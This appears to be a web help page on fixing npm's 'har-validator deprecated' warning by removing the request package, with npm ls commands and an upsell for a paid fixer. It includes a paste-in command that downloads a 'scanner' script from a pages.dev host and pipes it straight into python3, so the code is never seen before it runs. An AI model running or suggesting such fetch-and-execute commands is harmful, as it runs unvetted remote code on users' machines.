PatchVault › Errors › request → native fetch

npm WARN deprecated har-validator@5.1.5: this library is no longer supported

har-validator is a dependency of request. Seeing this warning almost always means request is somewhere in your dependency tree.

Check your code free (runs in your browser)

The box is pre-filled with a sample that triggers this error. Paste your own file to check it. Nothing leaves this page.

Or scan your whole repo locally (free, stdlib Python, read-only):

python3 <(curl -fsSL https://patchvault-81y.pages.dev/starters/request-fetch-scan.py) .

Why it happens

har-validator 5.1.5 is the last release and is deprecated. It goes away once request is removed.

Manual fix

npm ls har-validator   # shows the request chain
npm ls request         # upgrade/replace the parent, or migrate direct calls to fetch

Verify

Re-run your install/build and re-scan the file above. The finding should be gone. The paid fixer applies the same change across a repo: --dry-run shows the diff, --apply keeps a .bak of each file, and --rollback restores them.

Sources

• npm registry: har-validator deprecation

Related errors

• npm WARN deprecated request@2.88.2: how to fix
• request-promise deprecated: replace with fetch
• npm audit: SSRF in request (CVE-2023-28155) fix

Full guide and free terminal scanner: request → native fetch. Last checked 2026-10-31.